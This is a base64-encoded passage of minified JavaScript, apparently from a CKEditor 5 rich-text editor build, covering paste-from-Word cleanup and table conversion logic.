Wxlc1N0cmluZzphLnN0eWxlc1N0cmluZ319ZnVuY3Rpb24gbEkodCxlKXtjb25zdCBuPW5ldyBibChlKTtjb25zdCBpPW5ldyBHZChuLHtibG9ja0ZpbGxlck1vZGU6Im5ic3AifSk7Y29uc3Qgbz10LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTtjb25zdCByPXQuYm9keS5jaGlsZE5vZGVzO3doaWxlKHIubGVuZ3RoPjApe28uYXBwZW5kQ2hpbGQoclswXSl9cmV0dXJuIGkuZG9tVG9WaWV3KG8pfWZ1bmN0aW9uIGRJKHQpe2NvbnN0IGU9W107Y29uc3Qgbj1bXTtjb25zdCBpPUFycmF5LmZyb20odC5nZXRFbGVtZW50c0J5VGFnTmFtZSgic3R5bGUiKSk7Zm9yKGNvbnN0IHQgb2YgaSl7aWYodC5zaGVldCYmdC5zaGVldC5jc3NSdWxlcyYmdC5zaGVldC5jc3NSdWxlcy5sZW5ndGgpe2UucHVzaCh0LnNoZWV0KTtuLnB1c2godC5pbm5lckhUTUwpfX1yZXR1cm57c3R5bGVzOmUsc3R5bGVzU3RyaW5nOm4uam9pbigiICIpfX1mdW5jdGlvbiB1SSh0KXtjb25zdCBlPS88XC9ib2R5PiguKj8pKDxcL2h0bWw+fCQpLztjb25zdCBuPXQubWF0Y2goZSk7aWYobiYmblsxXSl7dD10LnNsaWNlKDAsbi5pbmRleCkrdC5zbGljZShuLmluZGV4KS5yZXBsYWNlKG5bMV0sIiIpfXJldHVybiB0fWZ1bmN0aW9uIGhJKHQsZSl7aWYoIXQuY2hpbGRDb3VudCl7cmV0dXJufWNvbnN0IG49bmV3IG9FO2NvbnN0IGk9bUkodCxuKTtnSShpLHQsbik7cEkodCxuKTtjb25zdCBvPWtJKHQsbik7aWYoby5sZW5ndGgpe3dJKG8sYkkoZSksbil9fWZ1bmN0aW9uIGZJKHQpe3JldHVybiBidG9hKHQubWF0Y2goL1x3ezJ9L2cpLm1hcCgodD0+U3RyaW5nLmZyb21DaGFyQ29kZShwYXJzZUludCh0LDE2KSkpKS5qb2luKCIiKSl9ZnVuY3Rpb24gbUkodCxlKXtjb25zdCBuPWUuY3JlYXRlUmFuZ2VJbih0KTtjb25zdCBpPW5ldyBXcyh7bmFtZTovdjooLispL30pO2NvbnN0IG89W107Zm9yKGNvbnN0IHQgb2Ygbil7Y29uc3QgZT10Lml0ZW07Y29uc3Qgbj1lLnByZXZpb3VzU2libGluZyYmZS5wcmV2aW91c1NpYmxpbmcubmFtZXx8bnVsbDtpZihpLm1hdGNoKGUpJiZlLmdldEF0dHJpYnV0ZSgibzpnZnhkYXRhIikmJm4hPT0idjpzaGFwZXR5cGUiKXtvLnB1c2godC5pdGVtLmdldEF0dHJpYnV0ZSgiaWQiKSl9fXJldHVybiBvfWZ1bmN0aW9uIGdJKHQsZSxuKXtjb25zdCBpPW4uY3JlYXRlUmFuZ2VJbihlKTtjb25zdCBvPW5ldyBXcyh7bmFtZToiaW1nIn0pO2NvbnN0IHI9W107Zm9yKGNvbnN0IGUgb2YgaSl7aWYoby5tYXRjaChlLml0ZW0pKXtjb25zdCBuPWUuaXRlbTtjb25zdCBpPW4uZ2V0QXR0cmlidXRlKCJ2OnNoYXBlcyIpP24uZ2V0QXR0cmlidXRlKCJ2OnNoYXBlcyIpLnNwbGl0KCIgIik6W107aWYoaS5sZW5ndGgmJmkuZXZlcnkoKGU9PnQuaW5kZXhPZihlKT4tMSkpKXtyLnB1c2gobil9ZWxzZSBpZighbi5nZXRBdHRyaWJ1dGUoInNyYyIpKXtyLnB1c2gobil9fX1mb3IoY29uc3QgdCBvZiByKXtuLnJlbW92ZSh0KX19ZnVuY3Rpb24gcEkodCxlKXtjb25zdCBuPWUuY3JlYXRlUmFuZ2VJbih0KTtjb25zdCBpPW5ldyBXcyh7bmFtZTovdjooLispL30pO2NvbnN0IG89W107Zm9yKGNvbnN0IHQgb2Ygbil7aWYoaS5tYXRjaCh0Lml0ZW0pKXtvLnB1c2godC5pdGVtKX19Zm9yKGNvbnN0IHQgb2Ygbyl7ZS5yZW1vdmUodCl9fWZ1bmN0aW9uIGtJKHQsZSl7Y29uc3Qgbj1lLmNyZWF0ZVJhbmdlSW4odCk7Y29uc3QgaT1uZXcgV3Moe25hbWU6ImltZyJ9KTtjb25zdCBvPVtdO2Zvcihjb25zdCB0IG9mIG4pe2lmKGkubWF0Y2godC5pdGVtKSl7aWYodC5pdGVtLmdldEF0dHJpYnV0ZSgic3JjIikuc3RhcnRzV2l0aCgiZmlsZTovLyIpKXtvLnB1c2godC5pdGVtKX19fXJldHVybiBvfWZ1bmN0aW9uIGJJKHQpe2lmKCF0KXtyZXR1cm5bXX1jb25zdCBlPS97XFxwaWN0W1xzXFNdKz9cXGJsaXB0YWctP1xkKyhcXGJsaXB1cGktP1xkKyk/KHtcXFwqXFxibGlwdWlkXHM/W1xkYS1mQS1GXSspP1tcc31dKj8vO2NvbnN0IG49bmV3IFJlZ0V4cCgiKD86KCIrZS5zb3VyY2UrIikpKFtcXGRhLWZBLUZcXHNdKylcXH0iLCJnIik7Y29uc3QgaT10Lm1hdGNoKG4pO2NvbnN0IG89W107aWYoaSl7Zm9yKGNvbnN0IHQgb2YgaSl7bGV0IG49ZmFsc2U7aWYodC5pbmNsdWRlcygiXFxwbmdibGlwIikpe249ImltYWdlL3BuZyJ9ZWxzZSBpZih0LmluY2x1ZGVzKCJcXGpwZWdibGlwIikpe249ImltYWdlL2pwZWcifWlmKG4pe28ucHVzaCh7aGV4OnQucmVwbGFjZShlLCIiKS5yZXBsYWNlKC9bXlxkYS1mQS1GXS9nLCIiKSx0eXBlOm59KX19fXJldHVybiBvfWZ1bmN0aW9uIHdJKHQsZSxuKXtpZih0Lmxlbmd0aD09PWUubGVuZ3RoKXtmb3IobGV0IGk9MDtpPHQubGVuZ3RoO2krKyl7Y29uc3Qgbz1gZGF0YToke2VbaV0udHlwZX07YmFzZTY0LCR7ZkkoZVtpXS5oZXgpfWA7bi5zZXRBdHRyaWJ1dGUoInNyYyIsbyx0W2ldKX19fWNvbnN0IENJPS88bWV0YVxzKm5hbWU9Ij9nZW5lcmF0b3IiP1xzKmNvbnRlbnQ9Ij9taWNyb3NvZnRccyp3b3JkXHMqXGQrIj9cLz8+L2k7Y29uc3QgQUk9L3htbG5zOm89InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb20vaTtjbGFzcyBfSXtjb25zdHJ1Y3Rvcih0KXt0aGlzLmRvY3VtZW50PXR9aXNBY3RpdmUodCl7cmV0dXJuIENJLnRlc3QodCl8fEFJLnRlc3QodCl9ZXhlY3V0ZSh0KXtjb25zdHtib2R5OmUsc3R5bGVzU3RyaW5nOm59PWNJKHQuZGF0YVRyYW5zZmVyLmdldERhdGEoInRleHQvaHRtbCIpLHRoaXMuZG9jdW1lbnQuc3R5bGVzUHJvY2Vzc29yKTtVVChlLG4pO2hJKGUsdC5kYXRhVHJhbnNmZXIuZ2V0RGF0YSgidGV4dC9ydGYiKSk7dC5jb250ZW50PWV9fWNsYXNzIHZJIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlBhc3RlRnJvbU9mZmljZSJ9c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltpQV19aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmVkaXRpbmcudmlldy5kb2N1bWVudDtjb25zdCBuPVtdO24ucHVzaChuZXcgX0koZSkpO24ucHVzaChuZXcgb0koZSkpO3QucGx1Z2lucy5nZXQoIkNsaXBib2FyZCIpLm9uKCJpbnB1dFRyYW5zZm9ybWF0aW9uIiwoKHQsZSk9PntpZihlLmlzVHJhbnNmb3JtZWRXaXRoUGFzdGVGcm9tT2ZmaWNlKXtyZXR1cm59Y29uc3QgaT1lLmRhdGFUcmFuc2Zlci5nZXREYXRhKCJ0ZXh0L2h0bWwiKTtjb25zdCBvPW4uZmluZCgodD0+dC5pc0FjdGl2ZShpKSkpO2lmKG8pe28uZXhlY3V0ZShlKTtlLmlzVHJhbnNmb3JtZWRXaXRoUGFzdGVGcm9tT2ZmaWNlPXRydWV9fSkse3ByaW9yaXR5OiJoaWdoIn0pfX1mdW5jdGlvbiB5SSh0LGUsbixpLG89MSl7aWYoZT5vKXtpLnNldEF0dHJpYnV0ZSh0LGUsbil9ZWxzZXtpLnJlbW92ZUF0dHJpYnV0ZSh0LG4pfX1mdW5jdGlvbiB4SSh0LGUsbj17fSl7Y29uc3QgaT10LmNyZWF0ZUVsZW1lbnQoInRhYmxlQ2VsbCIsbik7dC5pbnNlcnRFbGVtZW50KCJwYXJhZ3JhcGgiLGkpO3QuaW5zZXJ0KGksZSk7cmV0dXJuIGl9ZnVuY3Rpb24gREkodCxlKXtjb25zdCBuPWUucGFyZW50LnBhcmVudDtjb25zdCBpPXBhcnNlSW50KG4uZ2V0QXR0cmlidXRlKCJoZWFkaW5nQ29sdW1ucyIpfHwwKTtjb25zdHtjb2x1bW46b309dC5nZXRDZWxsTG9jYXRpb24oZSk7cmV0dXJuISFpJiZvPGl9ZnVuY3Rpb24gRUkoKXtyZXR1cm4gdD0+e3Qub24oImVsZW1lbnQ6dGFibGUiLCgodCxlLG4pPT57Y29uc3QgaT1lLnZpZXdJdGVtO2lmKCFuLmNvbnN1bWFibGUudGVzdChpLHtuYW1lOnRydWV9KSl7cmV0dXJufWNvbnN0e3Jvd3M6byxoZWFkaW5nUm93czpyLGhlYWRpbmdDb2x1bW5zOnN9PVNJKGkpO2NvbnN0IGE9e307aWYocyl7YS5oZWFkaW5nQ29sdW1ucz1zfWlmKHIpe2EuaGVhZGluZ1Jvd3M9cn1jb25zdCBjPW4ud3JpdGVyLmNyZWF0ZUVsZW1lbnQoInRhYmxlIixhKTtpZighbi5zYWZlSW5zZXJ0KGMsZS5tb2RlbEN1cnNvcikpe3JldHVybn1uLmNvbnN1bWFibGUuY29uc3VtZShpLHtuYW1lOnRydWV9KTtvLmZvckVhY2goKHQ9Pm4uY29udmVydEl0ZW0odCxuLndyaXRlci5jcmVhdGVQb3NpdGlvbkF0KGMsImVuZCIpKSkpO2lmKGMuaXNFbXB0eSl7Y29uc3QgdD1uLndyaXRlci5jcmVhdGVFbGVtZW50KCJ0YWJsZVJvdyIpO24ud3JpdGVyLmluc2VydCh0LG4ud3JpdGVyLmNyZWF0ZVBvc2l0aW9uQXQoYywiZW5kIikpO3hJKG4ud3JpdGVyLG4ud3JpdGVyLmNyZWF0ZVBvc2l0aW9uQXQodCwiZW5kIikpfW4udXBkYXRlQ29udmVyc2lvblJlc3VsdChjLGUpfSkpfX1mdW5jdGlvbiBNSSgpe3JldHVybiB0PT57dC5vbigiZWxlbWVudDp0ciIsKCh0LGUpPT57aWYoZS52aWV3SXRlbS5pc0VtcHR5JiZlLm1vZGVsQ3Vyc29yLmluZGV4PT0wKXt0LnN0b3AoKX19KSx7cHJpb3JpdHk6ImhpZ2gifSl9fWZ1bmN0aW9uIFNJKHQpe2NvbnN0IGU9e2hlYWRpbmdSb3dzOjAsaGVhZGluZ0NvbHVtbnM6MH07Y29uc3Qgbj1bXTtjb25zdCBpPVtdO2xldCBvO2Zvcihjb25zdCByIG9mIEFycmF5LmZyb20odC5nZXRDaGlsZHJlbigpKSl7aWYoci5uYW1lPT09InRib2R5Inx8ci5uYW1lPT09InRoZWFkInx8ci5uYW1lPT09InRmb290Iil7aWYoci5uYW1lPT09InRoZWFkIiYmIW8pe289cn1jb25zdCB0PUFycmF5LmZyb20oci5nZXRDaGlsZHJlbigpKS5maWx0ZXIoKHQ9PnQuaXMoImVsZW1lbnQiLCJ0ciIpKSk7Zm9yKGNvbnN0IHIgb2YgdCl7aWYoci5wYXJlbnQubmFtZT09PSJ0aGVhZCImJnIucGFyZW50PT09byl7ZS5oZWFkaW5nUm93cysrO24ucHVzaChyKX1lbHNle2kucHVzaChyKTtjb25zdCB0PVRJKHIsZSxvKTtpZih0PmUuaGVhZGluZ0NvbHVtbnMpe2UuaGVhZGluZ0NvbHVtbnM9dH19fX19ZS5yb3dzPVsuLi5uLC4uLmldO3JldHVybiBlfWZ1bmN0aW9uIFRJKHQpe2xldCBlPTA7bGV0IG49MDtjb25zdCBpPUFycmF5LmZyb20odC5nZXRDaGlsZHJlbigpKS5maWx0ZXIoKHQ9PnQubmFtZT09PSJ0aCJ8fHQubmFtZT09PSJ0ZCIpKTt3aGlsZShuPGkubGVuZ3RoJiZpW25dLm5hbWU9PT0idGgiKXtjb25zdCB0PWlbbl07Y29uc3Qgbz1wYXJzZUludCh0LmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpfHwxKTtlPWUrbztuKyt9cmV0dXJuIGV9Y2xhc3MgSUl7Y29uc3RydWN0b3IodCxlPXt9KXt0aGlzLl90YWJsZT10O3RoaXMuX3N0YXJ0Um93PWUucm93IT09dW5kZWZpbmVkP2Uucm93OmUuc3RhcnRSb3d8fDA7dGhpcy5fZW5kUm93PWUucm93IT09dW5kZWZpbmVkP2Uucm93OmUuZW5kUm93O3RoaXMuX3N0YXJ0Q29sdW1uPWUuY29sdW1uIT09dW5kZWZpbmVkP2UuY29sdW1uOmUuc3RhcnRDb2x1bW58fDA7dGhpcy5fZW5kQ29sdW1uPWUuY29sdW1uIT09dW5kZWZpbmVkP2UuY29sdW1uOmUuZW5kQ29sdW1uO3RoaXMuX2luY2x1ZGVBbGxTbG90cz0hIWUuaW5jbHVkZUFsbFNsb3RzO3RoaXMuX3NraXBSb3dzPW5ldyBTZXQ7dGhpcy5fcm93PTA7dGhpcy5fY29sdW1uPTA7dGhpcy5fY2VsbEluZGV4PTA7dGhpcy5fc3Bhbm5lZENlbGxzPW5ldyBNYXA7dGhpcy5fbmV4dENlbGxBdENvbHVtbj0tMX1bU3ltYm9sLml0ZXJhdG9yXSgpe3JldHVybiB0aGlzfW5leHQoKXtjb25zdCB0PXRoaXMuX3RhYmxlLmdldENoaWxkKHRoaXMuX3Jvdyk7aWYoIXR8fHRoaXMuX2lzT3ZlckVuZFJvdygpKXtyZXR1cm57ZG9uZTp0cnVlfX1pZih0aGlzLl9pc092ZXJFbmRDb2x1bW4oKSl7cmV0dXJuIHRoaXMuX2FkdmFuY2VUb05leHRSb3coKX1sZXQgZT1udWxsO2NvbnN0IG49dGhpcy5fZ2V0U3Bhbm5lZCgpO2lmKG4pe2lmKHRoaXMuX2luY2x1ZGVBbGxTbG90cyYmIXRoaXMuX3Nob3VsZFNraXBTbG90KCkpe2U9dGhpcy5fZm9ybWF0T3V0VmFsdWUobi5jZWxsLG4ucm93LG4uY29sdW1uKX19ZWxzZXtjb25zdCBuPXQuZ2V0Q2hpbGQodGhpcy5fY2VsbEluZGV4KTtpZighbil7cmV0dXJuIHRoaXMuX2FkdmFuY2VUb05leHRSb3coKX1jb25zdCBpPXBhcnNlSW50KG4uZ2V0QXR0cmlidXRlKCJjb2xzcGFuIil8fDEpO2NvbnN0IG89cGFyc2VJbnQobi5nZXRBdHRyaWJ1dGUoInJvd3NwYW4iKXx8MSk7aWYoaT4xfHxvPjEpe3RoaXMuX3JlY29yZFNwYW5zKG4sbyxpKX1pZighdGhpcy5fc2hvdWxkU2tpcFNsb3QoKSl7ZT10aGlzLl9mb3JtYXRPdXRWYWx1ZShuKX10aGlzLl9uZXh0Q2VsbEF0Q29sdW1uPXRoaXMuX2NvbHVtbitpfXRoaXMuX2NvbHVtbisrO2lmKHRoaXMuX2NvbHVtbj09dGhpcy5fbmV4dENlbGxBdENvbHVtbil7dGhpcy5fY2VsbEluZGV4Kyt9cmV0dXJuIGV8fHRoaXMubmV4dCgpfXNraXBSb3codCl7dGhpcy5fc2tpcFJvd3MuYWRkKHQpfV9hZHZhbmNlVG9OZXh0Um93KCl7dGhpcy5fcm93Kys7dGhpcy5fY29sdW1uPTA7dGhpcy5fY2VsbEluZGV4PTA7dGhpcy5fbmV4dENlbGxBdENvbHVtbj0tMTtyZXR1cm4gdGhpcy5uZXh0KCl9X2lzT3ZlckVuZFJvdygpe3JldHVybiB0aGlzLl9lbmRSb3chPT11bmRlZmluZWQmJnRoaXMuX3Jvdz50aGlzLl9lbmRSb3d9X2lzT3ZlckVuZENvbHVtbigpe3JldHVybiB0aGlzLl9lbmRDb2x1bW4hPT11bmRlZmluZWQmJnRoaXMuX2NvbHVtbj50aGlzLl9lbmRDb2x1bW59X2Zvcm1hdE91dFZhbHVlKHQsZT10aGlzLl9yb3csbj10aGlzLl9jb2x1bW4pe3JldHVybntkb25lOmZhbHNlLHZhbHVlOm5ldyBOSSh0aGlzLHQsZSxuKX19X3Nob3VsZFNraXBTbG90KCl7Y29uc3QgdD10aGlzLl9za2lwUm93cy5oYXModGhpcy5fcm93KTtjb25zdCBlPXRoaXMuX3Jvdzx0aGlzLl9zdGFydFJvdztjb25zdCBuPXRoaXMuX2NvbHVtbjx0aGlzLl9zdGFydENvbHVtbjtjb25zdCBpPXRoaXMuX2VuZENvbHVtbiE9PXVuZGVmaW5lZCYmdGhpcy5fY29sdW1uPnRoaXMuX2VuZENvbHVtbjtyZXR1cm4gdHx8ZXx8bnx8aX1fZ2V0U3Bhbm5lZCgpe2NvbnN0IHQ9dGhpcy5fc3Bhbm5lZENlbGxzLmdldCh0aGlzLl9yb3cpO2lmKCF0KXtyZXR1cm4gbnVsbH1yZXR1cm4gdC5nZXQodGhpcy5fY29sdW1uKXx8bnVsbH1fcmVjb3JkU3BhbnModCxlLG4pe2NvbnN0IGk9e2NlbGw6dCxyb3c6dGhpcy5fcm93LGNvbHVtbjp0aGlzLl9jb2x1bW59O2ZvcihsZXQgdD10aGlzLl9yb3c7dDx0aGlzLl9yb3crZTt0Kyspe2ZvcihsZXQgZT10aGlzLl9jb2x1bW47ZTx0aGlzLl9jb2x1bW4rbjtlKyspe2lmKHQhPXRoaXMuX3Jvd3x8ZSE9dGhpcy5fY29sdW1uKXt0aGlzLl9tYXJrU3Bhbm5lZENlbGwodCxlLGkpfX19fV9tYXJrU3Bhbm5lZENlbGwodCxlLG4pe2lmKCF0aGlzLl9zcGFubmVkQ2VsbHMuaGFzKHQpKXt0aGlzLl9zcGFubmVkQ2VsbHMuc2V0KHQsbmV3IE1hcCl9Y29uc3QgaT10aGlzLl9zcGFubmVkQ2VsbHMuZ2V0KHQpO2kuc2V0KGUsbil9fWNsYXNzIE5Je2NvbnN0cnVjdG9yKHQsZSxuLGkpe3RoaXMuY2VsbD1lO3RoaXMucm93PXQuX3Jvdzt0aGlzLmNvbHVtbj10Ll9jb2x1bW47dGhpcy5jZWxsQW5jaG9yUm93PW47dGhpcy5jZWxsQW5jaG9yQ29sdW1uPWk7dGhpcy5fY2VsbEluZGV4PXQuX2NlbGxJbmRleDt0aGlzLl90YWJsZT10Ll90YWJsZX1nZXQgaXNBbmNob3IoKXtyZXR1cm4gdGhpcy5yb3c9PT10aGlzLmNlbGxBbmNob3JSb3cmJnRoaXMuY29sdW1uPT09dGhpcy5jZWxsQW5jaG9yQ29sdW1ufWdldCBjZWxsV2lkdGgoKXtyZXR1cm4gcGFyc2VJbnQodGhpcy5jZWxsLmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpfHwxKX1nZXQgY2VsbEhlaWdodCgpe3JldHVybiBwYXJzZUludCh0aGlzLmNlbGwuZ2V0QXR0cmlidXRlKCJyb3dzcGFuIil8fDEpfWdldFBvc2l0aW9uQmVmb3JlKCl7Y29uc3QgdD10aGlzLl90YWJsZS5yb290LmRvY3VtZW50Lm1vZGVsO3JldHVybiB0LmNyZWF0ZVBvc2l0aW9uQXQodGhpcy5fdGFibGUuZ2V0Q2hpbGQodGhpcy5yb3cpLHRoaXMuX2NlbGxJbmRleCl9fWZ1bmN0aW9uIEJJKHQ9e30pe3JldHVybiBlPT5lLm9uKCJpbnNlcnQ6dGFibGUiLCgoZSxuLGkpPT57Y29uc3Qgbz1uLml0ZW07aWYoIWkuY29uc3VtYWJsZS5jb25zdW1lKG8sImluc2VydCIpKXtyZXR1cm59aS5jb25zdW1hYmxlLmNvbnN1bWUobywiYXR0cmlidXRlOmhlYWRpbmdSb3dzOnRhYmxlIik7aS5jb25zdW1hYmxlLmNvbnN1bWUobywiYXR0cmlidXRlOmhlYWRpbmdDb2x1bW5zOnRhYmxlIik7Y29uc3Qgcj10JiZ0LmFzV2lkZ2V0O2NvbnN0IHM9aS53cml0ZXIuY3JlYXRlQ29udGFpbmVyRWxlbWVudCgiZmlndXJlIix7Y2xhc3M6InRhYmxlIn0pO2NvbnN0IGE9aS53cml0ZXIuY3JlYXRlQ29udGFpbmVyRWxlbWVudCgidGFibGUiKTtpLndyaXRlci5pbnNlcnQoaS53cml0ZXIuY3JlYXRlUG9zaXRpb25BdChzLDApLGEpO2xldCBjO2lmKHIpe2M9RkkocyxpLndyaXRlcil9Y29uc3QgbD1uZXcgSUkobyk7Y29uc3QgZD17aGVhZGluZ1Jvd3M6by5nZXRBdHRyaWJ1dGUoImhlYWRpbmdSb3dzIil8fDAsaGVhZGluZ0NvbHVtbnM6by5nZXRBdHRyaWJ1dGUoImhlYWRpbmdDb2x1bW5zIil8fDB9O2NvbnN0IHU9bmV3IE1hcDtmb3IoY29uc3QgZSBvZiBsKXtjb25zdHtyb3c6bixjZWxsOnJ9PWU7Y29uc3Qgcz1vLmdldENoaWxkKG4pO2NvbnN0IGM9dS5nZXQobil8fEdJKGEscyxuLGQsaSk7dS5zZXQobixjKTtpLmNvbnN1bWFibGUuY29uc3VtZShyLCJpbnNlcnQiKTtjb25zdCBsPWkud3JpdGVyLmNyZWF0ZVBvc2l0aW9uQXQoYywiZW5kIik7SEkoZSxkLGwsaSx0KX1mb3IoY29uc3QgdCBvZiBvLmdldENoaWxkcmVuKCkpe2NvbnN0IGU9dC5pbmRleDtpZighdS5oYXMoZSkpe3Uuc2V0KGUsR0koYSx0LGUsZCxpKSl9fWNvbnN0IGg9aS5tYXBwZXIudG9WaWV3UG9zaXRpb24obi5yYW5nZS5zdGFydCk7aS5tYXBwZXIuYmluZEVsZW1lbnRzKG8scj9jOnMpO2kud3JpdGVyLmluc2VydChoLHI/YzpzKX0pKX1mdW5jdGlvbiBQSSgpe3JldHVybiB0PT50Lm9uKCJpbnNlcnQ6dGFibGVSb3ciLCgodCxlLG4pPT57Y29uc3QgaT1lLml0ZW07aWYoIW4uY29uc3VtYWJsZS5jb25zdW1lKGksImluc2VydCIpKXtyZXR1cm59Y29uc3Qgbz1pLnBhcmVudDtjb25zdCByPW4ubWFwcGVyLnRvVmlld0VsZW1lbnQobyk7Y29uc3Qgcz1KSShyKTtjb25zdCBhPW8uZ2V0Q2hpbGRJbmRleChpKTtjb25zdCBjPW5ldyBJSShvLHtyb3c6YX0pO2NvbnN0IGw9e2hlYWRpbmdSb3dzOm8uZ2V0QXR0cmlidXRlKCJoZWFkaW5nUm93cyIpfHwwLGhlYWRpbmdDb2x1bW5zOm8uZ2V0QXR0cmlidXRlKCJoZWFkaW5nQ29sdW1ucyIpfHwwfTtjb25zdCBkPW5ldyBNYXA7Zm9yKGNvbnN0IHQgb2YgYyl7Y29uc3QgZT1kLmdldChhKXx8R0kocyxpLGEsbCxuKTtkLnNldChhLGUpO24uY29uc3VtYWJsZS5jb25zdW1lKHQuY2VsbCwiaW5zZXJ0Iik7Y29uc3Qgbz1uLndyaXRlci5jcmVhdGVQb3NpdGlvbkF0KGUsImVuZCIpO0hJKHQsbCxvLG4se2FzV2lkZ2V0OnRydWV9KX19KSl9ZnVuY3Rpb24gekkoKXtyZXR1cm4gdD0+dC5vbigiaW5zZXJ0OnRhYmxlQ2VsbCIsKCh0LGUsbik9Pntjb25zdCBpPWUuaXRlbTtpZighbi5jb25zdW1hYmxlLmNvbnN1bWUoaSwiaW5zZXJ0Iikpe3JldHVybn1jb25zdCBvPWkucGFyZW50O2NvbnN0IHI9by5wYXJlbnQ7Y29uc3Qgcz1yLmdldENoaWxkSW5kZXgobyk7Y29uc3QgYT1uZXcgSUkocix7cm93OnN9KTtjb25zdCBjPXtoZWFkaW5nUm93czpyLmdldEF0dHJpYnV0ZSgiaGVhZGluZ1Jvd3MiKXx8MCxoZWFkaW5nQ29sdW1uczpyLmdldEF0dHJpYnV0ZSgiaGVhZGluZ0NvbHVtbnMiKXx8MH07Zm9yKGNvbnN0IHQgb2YgYSl7aWYodC5jZWxsPT09aSl7Y29uc3QgZT1uLm1hcHBlci50b1ZpZXdFbGVtZW50KG8pO2NvbnN0IHI9bi53cml0ZXIuY3JlYXRlUG9zaXRpb25BdChlLG8uZ2V0Q2hpbGRJbmRleChpKSk7SEkodCxjLHIsbix7YXNXaWRnZXQ6dHJ1ZX0pO3JldHVybn19fSkpfWZ1bmN0aW9uIExJKCl7cmV0dXJuIHQ9PnQub24oImF0dHJpYnV0ZTpoZWFkaW5nQ29sdW1uczp0YWJsZSIsKCh0LGUsbik9Pntjb25zdCBpPWUuaXRlbTtpZighbi5jb25zdW1hYmxlLmNvbnN1bWUoZS5pdGVtLHQubmFtZSkpe3JldHVybn1jb25zdCBvPXtoZWFkaW5nUm93czppLmdldEF0dHJpYnV0ZSgiaGVhZGluZ1Jvd3MiKXx8MCxoZWFkaW5nQ29sdW1uczppLmdldEF0dHJpYnV0ZSgiaGVhZGluZ0NvbHVtbnMiKXx8MH07Y29uc3Qgcj1lLmF0dHJpYnV0ZU9sZFZhbHVlO2NvbnN0IHM9ZS5hdHRyaWJ1dGVOZXdWYWx1ZTtjb25zdCBhPShyPnM/cjpzKS0xO2Zvcihjb25zdCB0IG9mIG5ldyBJSShpLHtlbmRDb2x1bW46YX0pKXtVSSh0LG8sbil9fSkpfWZ1bmN0aW9uIE9JKCl7cmV0dXJuIHQ9PnQub24oInJlbW92ZTp0YWJsZVJvdyIsKCh0LGUsbik9Pnt0LnN0b3AoKTtjb25zdCBpPW4ud3JpdGVyO2NvbnN0IG89bi5tYXBwZXI7Y29uc3Qgcj1vLnRvVmlld1Bvc2l0aW9uKGUucG9zaXRpb24pLmdldExhc3RNYXRjaGluZ1Bvc2l0aW9uKCh0PT4hdC5pdGVtLmlzKCJlbGVtZW50IiwidHIiKSkpO2NvbnN0IHM9ci5ub2RlQWZ0ZXI7Y29uc3QgYT1zLnBhcmVudDtjb25zdCBjPWEucGFyZW50O2NvbnN0IGw9aS5jcmVhdGVSYW5nZU9uKHMpO2NvbnN0IGQ9aS5yZW1vdmUobCk7Zm9yKGNvbnN0IHQgb2YgaS5jcmVhdGVSYW5nZUluKGQpLmdldEl0ZW1zKCkpe28udW5iaW5kVmlld0VsZW1lbnQodCl9JEkoInRoZWFkIixjLG4pOyRJKCJ0Ym9keSIsYyxuKX0pLHtwcmlvcml0eToiaGlnaGVyIn0pfWZ1bmN0aW9uIFJJKHQsZSl7Y29uc3R7d3JpdGVyOm59PWU7aWYoIXQucGFyZW50LmlzKCJlbGVtZW50IiwidGFibGVDZWxsIikpe3JldHVybn1pZihqSSh0KSl7cmV0dXJuIG4uY3JlYXRlQ29udGFpbmVyRWxlbWVudCgic3BhbiIse3N0eWxlOiJkaXNwbGF5OmlubGluZS1ibG9jayJ9KX1lbHNle3JldHVybiBuLmNyZWF0ZUNvbnRhaW5lckVsZW1lbnQoInAiKX19ZnVuY3Rpb24gakkodCl7Y29uc3QgZT10LnBhcmVudDtjb25zdCBuPWUuY2hpbGRDb3VudD09PTE7cmV0dXJuIG4mJiFaSSh0KX1mdW5jdGlvbiBGSSh0LGUpe2Uuc2V0Q3VzdG9tUHJvcGVydHkoInRhYmxlIix0cnVlLHQpO3JldHVybiB0dih0LGUse2hhc1NlbGVjdGlvbkhhbmRsZTp0cnVlfSl9ZnVuY3Rpb24gVkkodCxlLG4pe2NvbnN0IGk9bi53cml0ZXI7Y29uc3Qgbz1uLm1hcHBlci50b1ZpZXdFbGVtZW50KHQpO2NvbnN0IHI9aS5jcmVhdGVFZGl0YWJsZUVsZW1lbnQoZSxvLmdldEF0dHJpYnV0ZXMoKSk7Y29uc3Qgcz1vdihyLGkpO2V2KHMsaSwoKHQsZSxuKT0+bi5hZGRDbGFzcyh4cyhlLmNsYXNzZXMpLHQpKSwoKHQsZSxuKT0+bi5yZW1vdmVDbGFzcyh4cyhlLmNsYXNzZXMpLHQpKSk7aS5pbnNlcnQoaS5jcmVhdGVQb3NpdGlvbkFmdGVyKG8pLHMpO2kubW92ZShpLmNyZWF0ZVJhbmdlSW4obyksaS5jcmVhdGVQb3NpdGlvbkF0KHMsMCkpO2kucmVtb3ZlKGkuY3JlYXRlUmFuZ2VPbihvKSk7bi5tYXBwZXIudW5iaW5kVmlld0VsZW1lbnQobyk7bi5tYXBwZXIuYmluZEVsZW1lbnRzKHQscyl9ZnVuY3Rpb24gVUkodCxlLG4pe2NvbnN0e2NlbGw6aX09dDtjb25zdCBvPVdJKHQsZSk7Y29uc3Qgcj1uLm1hcHBlci50b1ZpZXdFbGVtZW50KGkpO2lmKHImJnIubmFtZSE9PW8pe1ZJKGksbyxuKX19ZnVuY3Rpb24gSEkodCxlLG4saSxvKXtjb25zdCByPW8mJm8uYXNXaWRnZXQ7Y29uc3Qgcz1XSSh0LGUpO2NvbnN0IGE9cj9vdihpLndyaXRlci5jcmVhdGVFZGl0YWJsZUVsZW1lbnQocyksaS53cml0ZXIpOmkud3JpdGVyLmNyZWF0ZUNvbnRhaW5lckVsZW1lbnQocyk7aWYocil7ZXYoYSxpLndyaXRlciwoKHQsZSxuKT0+bi5hZGRDbGFzcyh4cyhlLmNsYXNzZXMpLHQpKSwoKHQsZSxuKT0+bi5yZW1vdmVDbGFzcyh4cyhlLmNsYXNzZXMpLHQpKSl9Y29uc3QgYz10LmNlbGw7Y29uc3QgbD1jLmd